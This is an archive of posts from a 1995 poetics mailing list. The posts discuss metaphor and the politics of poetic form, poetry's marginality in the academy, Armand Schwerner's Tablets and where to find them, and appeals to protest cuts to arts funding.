Marisa Januzzi <[redacted]>

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2. Chris Stroffolino

Re: Domesday Dictionary

Sun 1 Jan 1995

I just wanted to take the opportunity to as unironically as possible wish each and every one of you a "Happy New(t) Year." Stroffolino...

↑ Index

3. Chris Stroffolino

Re: discursive disruptions//whether poetry makes anything happen

Sun 1 Jan 1995

Dear Marisa-- Thank you for the insight you bring to the issues of "metaphor" and its "antagonism" towards allegedly more "forward-looking" poetic disjunction. I believe the extent to which these issues have been "gendered" by the current dominant poetic factions is highly problematic for it's quite possible that what's called 'reactionary' and therefore patriarchal by a certain avant-garde strain (what's derided as "metaphor" or "symbolist" or even "Romantic") has been dismissed out of hand. If we look at it historically, one can see the rhetoric that has enabled the legitimation of so-called "nonmetaphoric" or "nonlinear" modes of poetry has, for all its claims of radical politicalization, too often played into the demands and dynamics of the "academic establishment." (This reminds me of the statement--"Derrida would not have ever been allowed into the academy were it not for the fact that it's extremely easy to read Shakespeare as such."). In the academic fashion-show, the notion that women (or other 'marginalized' groups) must reject anything that reeks of tradition, seems to be either (1) self-defeating or (2) a desperate attempt to justify the so-called 'new' poetry, a poetry which has now come to have its own share of investment not so much a matter of "which side are you on" or even "taste," but a matter not so much a matter of "which side are you on" or even "taste," but a matter and "form" is problematized. The fact is, the debate between "metaphor" and "nonmetaphor" based poetry, between minimalism and maximalism, between meaning and play, cuts across political lines. To the extent that debates over poetry center on the POLITICS OF FORM obscures a perhaps more serious issue. For if the great "Western Canon" is a repressive force that needs to be subverted, perhaps this can best be done so by entering into dialogue with it. Though we should be aware of the repressive partriachal capitalistic cases supported the so-called "alternative" as well. This is not to say that there aren't writers on both "sides" that ARE more politically subverive than certain formal code. Any more thoughts you have on this would be appreciated. Thanx, Chris Stroffolino

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4. Steven Howard Shoemaker

JRNL: Poetry on the Margins, cont. (fwd)

Mon 2 Jan 1995

Forwarded message:
From daemon Wed Dec 28 09:20:26 1994
Date: Wed, 28 Dec 1994 09:13:23 -0500
From: "[redacted] \"Randy Bass\"" <[redacted]
Subject: JRNL: Poetry on the Margins, cont.
To: Multiple recipients of list T-AMLIT <[redacted]>

JRNL: T-AMLIT JOURNAL

Here are three more JOURNAL contributions to the discussion about the marginalization of poetry within the academy.

The original query to this thread also posed the open call for
more discussion of poetry on this list (as does Tony Petrosky at the
end of his first posting).
RBass
****

(1)
From: IN%"[redacted]" "Anthony R Petrosky" 14-DEC-1994 10:46:20.24
Subj: RE: JRNL: Poetry on the Margins

I just read the responses to the original posting. It's curious, I think, to see them as a cross section of responses, taking, as they do, various positions that it seems to me I have heard in my department at one time or the other. They all seem legitimate, serious, but in an odd way they would all, including mine, put off people for various reasons. Maybe it is that there is this atmosphere of critique dominating our reading and writing. I think of something Robert Creeley once said to a seminar I was in in graduate school: "you're all here because poetry is plastic, it's something you can do anything in." I think he meant that it is an open form, a place where traditions can dominate and invention can dominate and the mix of what happens will always, then, contain the tensions that arise from differences. Formalists disparage language poets, language poets disparage narrative poets, abstract expressionists like Louise Gluck disparage so called confessional poets like Sharon Olds. The differences create defense, posture. Now that seems similar to just about anything I can think of that allows difference, and the tensions get hightened, I think, we layer on to the scene the interests and motives of those who don't write poetry or teach it but critique it from various perspectives. So, yeah it seems, as one of the respondents put it, there are a lot of reasons why it is on the margins.

But why wouldn't it be possible to take as a project the reading and writing of radically different kinds of poetry: Sharon Olds next to Ashbery next to Rumi next to Gluck next to Bernstein? Why not let poetry of all sorts exist in the same space and ask students, then, to work on understanding it. We could give them traditions to use to frame the discussions. We could give them at least a sense of difference and a place to both respect it (as those who participate by writing the different kinds of poems do) and work on it. These are the kinds of solutions I am interested in. What we can do to bring our students to poetry.

It seems to me that we could make a huge catalogue of reasons why poetry is in the supposed state we think it is. But that is then a big complaint. Is that a good place for the energy? Maybe to point we can understand the situation of poetry this way, but I suspect the situation varies by location. Bucknell University, for instance, takes poetry seriously for undergraduates with its visiting poets every year, its Poetry Festival, its literary magazines, and its undergraduate workshops. Other places don't do anything near that, but at Pitt, for example, we put a tremendous emphasis on graduate work in poetry. Still other place do so also but with an emphasis on a different kind of poetry. So we learn from this kind of generalized talk, I'd say, that the situation of poetry is not uniform. Ok. So now what?

I'd love to continue the discussion of teaching poetry in various places in the curriculum. Rumi and LaLa and Kabir in religious studies along with Blake and Hopkins along with A. Rich and Phil Levine. Poetry in composition studies. Multi-genre writings that include poetry. Traditions of poetry juxtaposed against other traditions. Any takers?

(2)
From: IN%"[redacted]" 16-DEC-1994 15:41:37.16
Subj: RE: JRNL: Poetry on the Margins

I would like to chip in regarding reactions to poetry. I, too, find that even in academe, poetry is viewed with some trepidation or perhaps the notion that it's somehow old-fashioned, that the hot stuff is going on in fiction these days? And certainly many students are petrified of poetry, or think it will bore them to tears.

But the good news is, I have to agree with several other posters who noted having good success teaching poetry, even (or especially?) in composition classes, especially contemporary, more life-based works. I, too, have had this experience. I taught a section on poetry and writing about poetry in a composition class at a community college--mostly to students who had had very little previous exposure to poetry and whose discomfort level with the subject was high. I chose a range, from Robert Frost and Shakespearean sonnets to Langston Hughes, Gwendolyn Brooks, Sharon Olds, Gary Soto, and other

contemporary writers. I brought in a record of poets reading their works--they heard Hughes and Brooks, as I recall. I tried not to overwhelm them; I wanted them to read each poem several times and pay attention to the language. I modeled this kind of reading in class and assigend them only a few poems at a time to read, though I encouraged them to browse further! Finally, I had students working in pairs or small groups give their reading of the poem to the class, ie make a presentation about what they had gotten out of the poem, what particular problems they encountered, how they came to some understanding with it.

I found this portion of the class quite successful; several students came up to me and told me how they'd never known poetry could be so interesting, or that they could make sense of it, etc. The students also wrote a paper comparing several poems that dealt with the same theme, comparing and contrasting the poems' differing approaches to the theme in terms of language, imagery, tone, etc.

(3)
From: IN%"[redacted]" 16-DEC-1994 23:52:52.46
Subj: RE: JRNL: Poetry on the Margins

Re poetry: You know, it depends somewhat on where you look. I don't have the sense (and I could easily be wrong) that poetry is marginalized in courses that focus on contemporary women writers or on Chicano/a writers, for example. I also think that while Carter Revard's funny account is true in essence, there have always been countertraditions to the deliberately complex and obscure modernism represented by Eliot, et al. Think of Sterling Brown and Langston Hughes, Amy Lowell, Frost, and many of the poets Cary Nelson discusses in REPRESSION AND RECOVERY. Part of the problem has, I think, to do with the struggle of the academic community to free itself from the still hegemonic New Critical pedagogical tradition, which was, after all, constructed by folks like Ransom, Tate, and Brooks, with predecessors like Eliot very much in mind.

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5. Michael Boughn
Re: Happy New Year
Mon 2 Jan 1995

OK, so you've probably all already heard this one, but here goes anyway:

How many Intel engineers does it take to screw in a light bulb?

Three: one to screw in the bulb and one to hold the chair.

Cheers,
Mike
[redacted]

↑ Index

6. Ron Silliman
Poetry on the Margins of What?
Mon 2 Jan 1995

Both Tony Petrovsky and Paul Lauter's comments reflect quite clearly some very different ideas of what might be meant by the proposition "poetry is at the margins."I don't know Tony but given Paul's long involvement with bringing radical politics to the academy, it's interesting how inherently non-market oriented each approach seems to be.

The idea that poetry "is at the margins" of course proposes some spatial model of something, with an identifiable center from which poetry could then be distant. What is that thing? Books sold? Cultural influence? Fame? Petrovsky speculates that the diversity of poetic subcultures in our society might be causal (rather than, say, a reflection or manifestation of some larger social process). Paul gets in a gratuitous (and completely reductive) slap at the avant-garde tradition (w/o recognizing it as the only *international* literary tradition the world has ever had). Its role in identitarian political movements is then posed as a truer center.

That reminded me of the condition that poets found themselves in the former Soviet Union (FSU). For a long time, almost 30 years, poets held a critical social function for political opposition. Since political meetings were verboten, poetry readings often took on the role of a public rally. Audiences were large. But it is not evident that this benefited more than a handful of individual poets and its impact on writing per se seems to have been quite a mixed bag.

Once a broader terrain of discourse was possible, the necessity of the poet as a symbol of resistance quickly disappeared. Audiences shrunk rapidly and the new market economy of Russia and the other republics has meant that the next generation of poets over there will probably be no more well distributed and read than their contemporaries here.

Jan Clausen, a poet and novelist who has long been involved with lesbian poetics and politics (until she married a man a couple of years ago, but that's another story), wrote an excellent pamphlet on this subject called *A Movement of Poets: Thoughts on Poetry and Feminism* (Brooklyn: Long Haul Press, 1982). She is generally very suspicious of the impact of each on the other. For example, writing of poetry's decline as a leading force for feminism once second-wave feminism created its own institutions, she notes:

"Ironically, I suspect that poetry as a genre has lost prestige within the women's movement for the same reason that fiction lacked it in nineteenth century patriarchal England--because it is perceived as something almost anyone can do. That is the hidden meaning of a code phrase like 'there's so much feminist poetry,' and it points to the hypocrisy of the general feminist rejection of critical standards; rather than apply them, we have sometimes simply stopped paying attention to poetry at all." (pp. 46-7)

If Clausen suggests the logical end result of the kind of reductivism that Lauter's comments exhibit, Petrovsky's variation of Teach the Conflicts seems equally problematic. I personally would prefer to have a new formalist who was both passionate and knowledgeable about that tendency to teach a lit course than a liberal who sees Sharon Olds and Bruce Andrews as points of equal interest on an undifferentiated plane. To have any value at all, the "teach the conflicts" approach requres the instructor to have (and argue) a theory of organization and history that positions every text and author.

Both Lauter and Petrovsky presume (reasonably enough for a Teaching of American Lit discussion group) a defining privilege for the classroom in determining the answer to the question. Needless to say, I have my doubts there.

So I keep coming up against the problem of the Margins of What. Walt Whitman self-published the first edition of Leaves of Grass. Much of Stein's work came out the same way. George Oppen's To Press, which Williams and Zukofsky hoped would be the vehicle to bring the objectivists to a larger audience, was just one more tiny press. As Charles Bernstein and others have pointed out (repeatedly, I must say), the problem of poetry's distribution to The Masses has changed very little in the past 200 years. What has changed, it seems to me, is the set of assumptions we making about what is central in public discourse, i.e., what is a center? Where is it and who defines it? Is Bill Moyers fawning over Donald Hall or Robert Bly an example of the potential success of poetry? Or quite the opposite?

What has changed, beyond the ongoing revolution in media (I'm old enough to remember the paperback as the exception, not the rule), has been an articulation of communities of writing. There may well be 300+ poets working in, or more or less directly from, what has been called Language Poetry. And publishing. Plus another 300 to 500 coming out of other variants of the New American tradition of 50s and 60s. And as Petrovsky notes in his comment of Gluck's attitude towards Olds, the establishmentarian tradition in American Lit is as well articulated. All of these discussions of the decenteredness or marginality of poetry seems to me to give very short shrift to very real communities, communities that are ultimately very different from the ones that

Lauter imagines (precisely because they derive from lived experience of daily contact rather than application to some ideal of race, gender or nationality). Then the question of the marginality of any community would be one directly of its role within the larger society, poetry being the symptom more than the cause.

No?

As Lee Ann Brown,
the quintessential "NY School" poet of her generation
might say,
"Happy New Year, y'all."

Ron Silliman

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7. Marjorie Perloff

Re: discursive disruptions//whether poetry makes anything happen

Mon 2 Jan 1995

I just wanted to clarify one thing for Marina Januzzi. At that MLA session, I did not mean to imply that the choice of form does not have ideological implications, just that "disruption" of form is a complex matter that has to refer to more than breaking up a page--that is, there are breaks and breaks. I suppose I think each example has to be judged on its own merits--and, yes, the "metaphoric mode" may be just as "disruptive" depending. I actually thought Alan Golding's paper was terrific; it's just that all day I had been hearing someone or other say about whatever poems by women that they oppose patriarchy etc, by such things as typography and my sense is that there are often things said (not by Alan but by others) that could apply equally well to a very conventional male poet--say Ted Hughes--just as well so we have to be careful, that's all. Hope this clarifies... Marjorie Perloff

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8. Joseph Conte

Re: Domesday Dictionary

Tue 3 Jan 1995

There was an eleventh-century _Domesday Book_ that represents the record of a census of England taken by William I. It's a fairly important text for medieval studies, since it includes much of the surviving information on land division, land use, and economic resources of the time.

I'm not clear whether there's an etymological connection between Domesday and doomsday, but if I were being taxed by the King I might be inclined to confuse April 15 and the apocalypse.

I suppose Schwerner had both social registry and the nuclear apocalypse in mind.

Joseph Conte

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9. Joseph Conte
Re: Armand Schwerner
Tue 3 Jan 1995

Brian:

I've just read your earlier query about the work of Armand Schwerner on the Poetics list. Although I very much enjoyed one of Schwerner's performances at the National Poetry Foundation conference in Orono two years ago, I haven't read enough of his work to comment personally.

But I've been editing a two-volume set on contemporary poets for the _Dictionary of Literary Biography_, and I "commissioned" an entry on Schwerner by a critic namer Arthur J. Sabatini. He sent me an excellent 5000 word essay, with a full critical bibliography, that includes discussion of the _Tablets_ and the oral-performance mode of Schwerner's work. I'm sure Sabatini would be happy to send you a copy of the essay at your request. His address:

Interdisciplinary Arts and Performance
Arizona State University West
4701 W. Thunderbird Road
P.O. Box 37100
Phoenix, AZ 85087-7100

E-mail: [redacted]

I'll let him know you're interested. Hope things are going well on your project. Did you go to the MLA this year? I passed on it.

Best regards,

Joseph Conte

*
| Joseph M Conte | "Where is the figure in the Department of English | carpet? Or is it just . . . SUNY at Buffalo |
carpet?" he asked. "Where is--" [redacted] | "You're talking a lot of

[redacted] | buffalo hump, you know that." | Donald Barthelme

_____*_____

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10. Marisa A Januzzi
motives for metaphor
Tue 3 Jan 1995

Hello everyone--

To Marjorie Perloff: thank you for the clarification; it's pretty much what I imagined you might say, and I'd guess we attended many of the same panels. In any case I understood the spirit of the question. And by the way, *Compliments*, Alan Golding, if you're out there, on your Susan Howe piece. Will you be publishing it?

Chris Stroffolino raises the interesting issue of the weird devaluation of metaphor in contemporary theory if not poetry. I remember having a pretty harsh discussion with someone who was trying to get me to admit that metonymy was preferable, ethically, to metaphor, which seemed authoritarian as a mode of discourse... but what ever happened to the surrealist potential for metaphor (the chance encounter described by Lautreamont)?

Also, can anyone recommend readings on this huge subject of the political content of poetic form? (i.e. best-case formulations of the question)? I throw it open like this because I'm curious if there are particular texts which you-- any of you-- mentally stand by when these questions come up.

Yours in the midst of sleepy weather,
--Marisa Januzzi

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11. krickjh
Armand Schwerner Live
Tue 3 Jan 1995

Speaking of the "oral performance mode" does anyone know of any tapes of Schwerner reading from "The Tablets?"

And another thing: Do "The Tablets" stop at 15? That's the edition I have and I'm just wondering if there's more.

John Krick

↑ Index

12. Mark Wallace
America: A Prayer
Tue 3 Jan 1995

AMERICA: A PRAYER

The Honorable Newt Gingrich has informed us that prayer in the public schools is one of the most important issues facing this great nation, and in our firm belief that America doesn't have a prayer, we call upon The Poets of America to accept their intellectual responsibility to give America a prayer. Opportunity is crucial in a capitalist society. We feel therefore that this, the 104th Congress, should have the opportunity to authorize the production of the appropriate American prayer from amongst the deeply felt works of America's finest, most challenging, and dedicated writers.

America's prayer is meant to be read by everybody, but don't let that stop you. Your prayers should be 500 words or less. Please send two copies of your prayer, one marked "Proposal for Prayer for the Schools" to The Honorable Newt Gingrich, House of Representatives, 2428 Rayburn House Office Building, Washington, D.C. 20515. Send your other copy with self-addressed stamped envelope to Aerial/Edge at the address below. No strictures on style or content. Writers may or may not wish to imagine delivery of their prayer in a classroom context. You do not have to be a U.S. citizen to participate. Also interested in visual materials. A selection of the prayers will be published in The New Censorship (Denver). Other editors interested in this project should contact us. Please pass this opportunity on to as many people as possible.

Deadline: Feb 28, 1995.

Rod Smith Lee Ann Brown Mark Wallace

AERIAL/EDGE P.O. Box 25642 Washington, D.C. 20007

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13. Mark Wallace
Situation #8
Tue 3 Jan 1995

Situation #8 features work by Stephen-Paul Martin, Connie Deanovich, Joshua McKinney, Dan Raphael, and others.

Cost is $2 for a single issue and $8 for four issues.

Please send subscriptions or submissions to:

Mark Wallace
Situation

10402 Ewell Ave.
Kensington, MD 20895

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14. Steven Howard Shoemaker
Re: Poetry on the Margins of What?
Tue 3 Jan 1995

Ron,

Since i don't have your address, i have to post this query here. How wld you feel about me cross-posting your response back to the t-amlit list? It strikes me that transgressing these cyberboundaries could be productive. On the other hand, i wldn't want to start any flame wars. What do you think?

steve shoemaker

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15. bmch
Re: Armand Schwerner Live
Tue 3 Jan 1995

Some Schwerner dope: Station Hill Press brought out Tablets I-XXIV in 1983, in a volume together with a collection of shorter poems called "sounds of the river Naranjana."Then Altas Press, London, brought out in '89 I-XXIV plus new XXV and XXVI -- the latter, much longer than any of the earlier ones, is par- ticularly astonishing. XXVI is the last I've been able to locate; until I've checked with Schwerner himself, I'm assuming it's the last -- unless someone out there knows otherwise?

I've come across catalogue entries for recordings of Schwerner reading from the Tablets, but haven't had a chance to listen to any yet. I'm curious to know how he handles the visual dimension of the Tablets in performing them ... I think of them as really eye-oriented, page-bound texts, but perhaps that's a mistake...

Brian

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16. Pierre Joris
Re: Armand Schwerner Live
Tue 3 Jan 1995

Brian, you write:

> *I've come across catalogue entries for recordings of Schwerner reading from th Tablets, but haven't had a chance to listen to any yet. I'm curious to know how he handles the visual dimension of the Tablets in performing them ... I think of them as really eye-oriented, page-bound texts, but perhaps that's a mistake...*

indeed, that is a mistake, Schwerner is an absolutely first rate performer of the TABLETS -- they are among the wild-humourist poems it has ever been my pleasure to hear. Schwerner realizes the visual elements orally as interferences by the scholar-translator into the lyrical process of the poems & it is exactly in the oral realization of that tension, in the juxtaposition of those different levels of discourse, that one can get to the polysemic core of the work. Go & listen, you've got a major treat coming!

Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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17. George Bowering

Re: America: A Prayer

Wed 4 Jan 1995

Here's what a lot of people pray:

May the USA disappear
and allow America an opportunity to survive.

↑ Index

18. Mn Center For Book Arts

Re: Armand Schwerner Live

Wed 4 Jan 1995

I'm currently looking at eight pages which are collectively presented as "from Tablet XXXVI," by Armand Schwerener, which were the latest addition to the journal NORTH AMERICAN IDEOPHONICS ANNUAL, a by-invitation assembling journal or series edited by Mark Nowak. The address is 908 Franklin Terrace, 3rd floor, Minneapolis, MN 55406, USA, or by e-mail, [redacted]

Since this journal was assembled only on Dec. 17, 1994, I assume that this is work is new and may be an addition to the Tablet XXVI published in London, and that it probably brings the work pretty much up to date, although I would, as others have, suggest going to Armand Schwerner to verify that.

charles alexander

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19. Mn Center For Book Arts

Re: Armand Schwerner Live

Wed 4 Jan 1995

Just to update my last post here, as I hadn't read my Schwerner pages for NORTH AMERICAN IDEOPHONICS ANNUAL yet, and they were given to me after the rest of the annual was assembled, an act with which I assisted. No, these are not eight pages, rather four copies of two pages. Some astonishing writing, nonetheless.

charles alexander

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20. Tom Mandel

Re: Armand Schwerner Live

Wed 4 Jan 1995

How would one find the Altas Press (London) volume of Armand's Tablets? Any ideas???

Tom Mandel

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21. Alan Golding

Re: Armand Schwerner Live

Wed 4 Jan 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Tom--

One would have a hard time, since it's actually the Atlas Press--there was a typo in the original posting of that information. Anyway, The Tablets is distributed by SPD, along with a couple other of Armand's books. If for some reason that doesn't work, the press' London address is 10 Park Street, London SE1 9AB, England--but that's five years old.

General inquiry: Does anyone have an e-address for Cole Swensen? I need to get in touch with her.

Alan Golding

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22. Mark Scroggins
Re: Armand Schwerner Live
Wed 4 Jan 1995

On Wed, 4 Jan 1995, Tom Mandel wrote:

> How would one find the Altas Press (London) volume of Armand's Tablets?
> Any ideas???
>
> Tom Mandel
>
Got mine in a second-hand bookstore; others might try Atlas Press, 10
Park st, The Borough, London SE1 9AB, UK.

Hi Tom.

Mark Scrogging

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23. Mark Scroggins
Re: Armand Schwerner Live
Wed 4 Jan 1995

Tom--
Alan's post reminds me to check a more recent Atlas Book, which has BCM
Atlas Press, London WC1N 3XX, UK. Maybe that'll work.
Mark

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24. Pierre Joris
Re: Armand Schwerner Live
Wed 4 Jan 1995

Tom asked:
>
> How would one find the Altas Press (London) volume of Armand's Tablets?
> Any ideas???

I don't know who -- if anyone -- distributes it in this country, but you could write directly to:

Aleister Botchie
Atlas Press
5 Ormond Mansions, flat 100A
Southampton Row
London WCI
GB

An excellent press, btw, with a range of interesting surrealist & post-surrealist titles.

Happy semi-new year,

Pierre

==========
========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother.
==========
==========

↑ Index

25. bmch
Re: Armand Schwerner Live
Wed 4 Jan 1995

Just had a look & sure enough SPD carries Atlas Press books, & there's Tablets I-XXVI listed among them. Doesn't appear that the Station Hill Press edition is still in print, but the Tablets part of that would be superseded by the Atlas edition anyway.

Alan Golding's note now makes me wish I'd gone to MLA & heard Schwerner rather than stay home to try & write about him! Choices....

Brian

↑ Index

26. The Evil Xmas Devil Monster
Re: Armand Schwerner Live
Wed 4 Jan 1995

BTW, don't forget that the Living Theater in New York put on a production of The Tablets five or six or seven years ago. I was priveleged to have attended one of the performances, & was brilliantly acted & scored. It took place at their

place on E. 3rd St, one of the first productions at that space. Unfortunately, they lost the space after a couple of years.

Regards,

Marc Nasdor
[redacted]

↑ Index

27. Ron Silliman
Reading?
Thu 5 Jan 1995

Hello folks,

I'm wondering if it's too late to come up with a couple of readings/talks in the mid-Atlantic states at the end of May or even the very first few days of June? I've been asked by Alec Marsh to give a paper at the ALA in Baltimore (May 26-28) and would love to be able to say yes. But I need to come up w/ travel money to make it possible, since these scholarly meetings are run with the presumption that everyone who will attend comes with departmental funding (a 19th century concept of scholarship that should have died out in the 1930s with the rise of the public intellectual).

I need to let Alec know by January 13, so let me know if you're sitting on unspent departmental reading $$.

Ron Silliman
[redacted]
or
[redacted]

↑ Index

28. Tenney Nathanson
Re: Armand Schwerner Live
Thu 5 Jan 1995

On Wed, 4 Jan 1995, The Evil Xmas Devil Monster wrote:

> *BTW, don't forget that the Living Theater in New York put on a production of The Tablets five or six or seven years ago. I was priveleged to have attended one of the performances, & was brilliantly acted & scored. It took place at their place on E. 3rd St, one of the first productions at that space. Unfortunately, they lost the space after a couple of years.*
>
> *Regards,*

> *Marc Nasdor*
> [redacted]

how strange to contemplate. I remember being in junior high school in the early sixties and going to see Jack Gelber's dope play The Connection at The Living Theatre (and feeling very hip); then all the terrifically weird stuff in the early seventies which I only heard about didn't see; and then The Tablets??? I guess I'd like to see a split stage, simultaneous staging of The Connection and The Tablets (a la Ashbery's "As We Know"?). Not really now; just a Theatrical Mind Boggler Koan.... happy new year all Tenney

↑ Index

29. James Sherry
Re: America: A Prayer
Thu 5 Jan 1995

As I said before, my prayer sent to NEWT and to YOUT is "Up yours, teach." As always, James

↑ Index

30. RSILLIMA
Congressional vote on NEH--forw
Thu 5 Jan 1995

I'm sending this to the Poetics Discussion List but am not sure it will get posted since I'm at work and am not currently subscribed from there. Charles, can you double check?

The message below comes from Bob Perelman. It sounds as if Newt et al plan to defund some or all of NEH, NEA, etc., asap and do so w/out any public discussion thereof. Time to act!

Ron Silliman

Ron,

See if this gets to you.
I'll also be e-ing on other matters.

Bob

According to Daniel Traister:
> From owner-english-faculty Thu Jan 5 17:24:20 1995
> From: [redacted] (Daniel Traister)
> Posted-Date: Thu, 5 Jan 1995 12:24:42 -0500

> Message-Id: <[redacted]>
> Subject: Congressional vote on NEH--forwarded from Frank Whigham
(Texas), FYI and wide distribution
> To: [redacted] (English Department
Faculty),
> [redacted] (English Graduate
Students)
> Date: Thu, 5 Jan 1995 12:24:42 -0500 (EST)
> X-Mailer: ELM [version 2.4 PL23-upenn2.9]
> Mime-Version: 1.0
> Content-Type: text/plain; charset=US-ASCII
> Content-Transfer-Encoding: 7bit
> Content-Length: 2738
> Sender: [redacted]
> Precedence: bulk
>
> From: Frank Whigham <[redacted]>
> Subject: Congressional vote on the NEH
>
> Dear colleagues:
>
> I have just received (9:30 am, 1/5) the following news from
my
> colleague Terry Kelley.
> ==========
> Date: Thu, 5 Jan 1995 09:19:58 -0600 (CST)
> From: "theresa m. kelley" <[redacted]>
> Subject: NEH /NEA/PBS funding
> To: Frank Whigham <[redacted]>
>
> Here is the news re Republican efforts to kill all funding for these
> agencies by a simple majority vote on the Senate floor -- without going
> through a hearing process.
>
> My source for this information is Carl Woodring, who received a call
with
> this news from Tom O'Brien, in the Grants office of NEH. He called
> Gingrich's office to find out what the hearing schedule would be and
> learned this news. O'Brien is less concerned wth House deliberations,
> where he believes it will be possible to work out an agreement for
> funding, though probably reduced, than he is with the Senate, where
> funding could disappear without anything more than a floor vote.

>
> If only for the record and possible future funding, I urge all to write
> appropriate senators to protest this plan to kill this funding without
a
> hearing.
>
>
> Please distribute this news as widely as possible.
>
>
> Theresa M. Kelley
> Associate Professor
> University of Texas, Austin
> ==========
>
> Obviously we must all be extremely concerned at this news. It
is
> crucial that we make our collective voice heard in support of the
institu-
> tions which contribute so much to our disciplines. (This matter will
bring
> us as close to unanimity as we'll ever get.) We in the academy have
done
> badly at making our case to those in authority, especially in recent
> years. There has been much failure of the will. We need to write, not
only
> to protest the funding cuts (though cuts will surely be made), but to
> protest the absence of open discussion on this crucial matter. This is
a
> procedural scandal, and might well be pre-emptive for much that we care
> about, for years to come.
>
> If anyone who receives this mailing has a list of
congressional
> e-mail addresses, it would be very useful to distribute it for the rest
of
> us. We need to begin to be much more vocal with the new administration.
> (I'm sure that many would welcome all federal and state addresses as
well;
> I would.)
>
> In addition to Kay Bailey Hutchinson's address above

[relevant
> to residents of Texas ONLY], I can contribute [redacted]
> (specify Newt Gingrich at the beginning of the message).
>
> Please distribute this message.
> ==========
> Frank Whigham
> Department of English, Parlin 108
> University of Texas at Austin
> Austin TX 78712-1164
> [redacted]
> [redacted]
>
>

↑ Index

31. **Loss Glazier**

New Electronic Poetry Center Features

Thu 5 Jan 1995

```
    ____    ____   ____
   /   /   /   / /   /
   EEEE   PPPPP  CCCCC
   EE /   PP PP  CC  C/
   EEE    PPPPP  CC   /        URL=gopher://writing.upenn.edu/hh/
  __EE  /_ PP |__ CC  C ____
 /  EEEE/  PP/    CCCCC/    /    internet/library/e-journals/ub/rift
/___________________________/
|-------------------------|
| Electronic Poetry Center |
|_________________________|
```

We are pleased to announce two new EPC features:

(Gopher and Web versions) A "search" feature has been designed to probe through the Poetics backfiles for you. You may now search the entire corpus by keyword. (The results screen will list documents containing your keyword. You then may open documents individually and search for the occurrence of the keyword. In most systems this would be /keyword, where "keyword" is your search term.) Now you can pinpoint that elusive phrase...

(Web version only) A "hotlist" has been added to most "major" levels of the web version. This means that from any point in the Web you can select "hotlist" and

move with great facility to numerous key spots in the EPC web. This feature will pretty much place you within two keystrokes of most menus, making the EPC web much more quickly navigated.

↑ Index

32. Patrick Phillips
Re: Congressional vote on NEH--forw
Fri 6 Jan 1995

For what it's worth:

Article in NT Times, Jan 6 gives e-mail addresses for -

"Thomas" - as in Jefferson - a new place to read the full text of any bill introduced in Congress, new issues of the Congressional Record - seachable by keyword. For this service you must have an HTML Browser capable of viewing the Web's hypertext format:

http://thomas.loc.gov

Isn't it good to know we are on a first-name basis with Jeffersonian democracy!

For those who would brave the malestrom and contact Newt directly (more of a Hamiltonian "democrat"):

[redacted]

For any other congressional e-mail address one may gopher to:

gopher://una.hh.lib.umich.edu/0/sosci/poliscilaw/uslegi/conemail

I offer this list with a clear conscience, but with the understanding that I in a small way am participating in a communication scheme that is surely a marginal, elite display of virtual-class revisionism.

↑ Index

33. Tim Waples
subscribing to Poetics list
Fri 6 Jan 1995

Dear Moderator,

I learned of the Poetics list from a reference to it on the T-Amlit list, and would like very much to subscribe. Could you please either send me the appropriate address to subscribe, or add me to the list? Thank you very much for your assistance.

Sincerely,

Tim Waples
English Dept., U. of Pennsylvania
[redacted]

↑ Index

34. krickjh
Senate vote
Fri 6 Jan 1995

Dear Poetry List,

In response to Ron's posting abt the upcoming Senate floor vote, I sent a query to Jim Warren. Warren runs a mailing list called GovAccess. If he has a list of all Congressional e-mail addresses, or an address where such a list can be obtained, I'll post it.

Warren's mailing list is pretty interesting. It's not published often so if your e-mailbox is already full every morning, this won't add much. Here is the subscription info:

To join the GovAccess list, email a request to
[redacted] .

John Krick

↑ Index

35. notlep
subscribing
Fri 6 Jan 1995

I would like to subscribe to the poetics list. I saw a posting from this list cross-posted to another list I'm on, Teaching American Literature (T-AMLIT). I'm not sure of the proper procedure for subscribing, so I hope I'm not getting in the way by using the wrong method. Thanks and, if needed, apologies.

Ted Pelton
Lakeland College

↑ Index

36. Marshall H. Reese
Arts Alliance Campaign to Save Arts Funding
Sat 7 Jan 1995

Item 625 06-JAN-95 17:25 American Arts Alliance
1-900 Emergency Number in Place

January 6, 1995

Dear Arts Advocates:

As you know, since the November elections the future of our national cultural agencies, including the National Endowment for the Arts, the National Endowment for the Humanities and the Institute for Museum Services, is seriously threatened. These agencies are facing severe cuts to their current funding or possible elimination. Arts advocates across the country must act NOW if these agencies are to be saved.

The Emergency Committee to Save Culture and the Arts, a project of the American Arts Alliance, has set up a 1-900 number (it is already working!) so that arts groups, artists, volunteers, arts patrons, audience members, contributors, local businesses, vendors and suppliers can quickly and easily register their support for continued funding for the arts and culture with their members of Congress, for a nominal fee. Time is short. You are invited to use this number immediately.

When you can call this number, [redacted], the following will happen:

1.) The caller will be handled by a live operator. Following a brief statement that the call costs $1.99 per minute and that you must be 18 or over, the operator then asks the caller if he/she would allow the Emergency Committee to send a mailgram in the caller's name to their two Senators and one Representative.

2.) If the caller says yes, the above process takes place and is billed to the caller's home phone. The caller leaves his/her name, address, and zip code which is then matched with the corresponding congressional district to assure that the correct elected officials receive the mailgram.

The Alliance has put together a steering committee currently made up of more than a dozen organizations to participate in message development and the disbursement of any funds that are collected over and beyond the costs for set up and maintenance of the number. You are invited to join this steering committee. There is no cost for this participation.

In order for this emergency campaign to be effective, we need your help to widely distribute the 1-900 number. Distribution of the number can be accomplished through the use of flyers, word of mouth, printing it in all local newspapers and membership organization's newsletters, radio announcements, posters, and on local computer Bulletin Board Services. (The first flyers are now available. Please call for a copy). Curtain speeches educating audiences about the crisis and drawing attention to ways to respond, are extremely

effective and we urge you to undertake these and other activities. The success of the emergency campaign depends on this effort.

The future of arts and cultural funding in this country is being determined by members of Congress NOW. More than ever, the voices of arts supporters must be heard.

Thank you for participating in this critical grassroots effort. Please call the American Arts Alliance at [redacted] if you would like to join the steering committee or have any questions.

THIS POSTING IS FROM ARTSWIRE.

↑ Index

37. Charles Bernstein
Re: subscribing to Poetics list
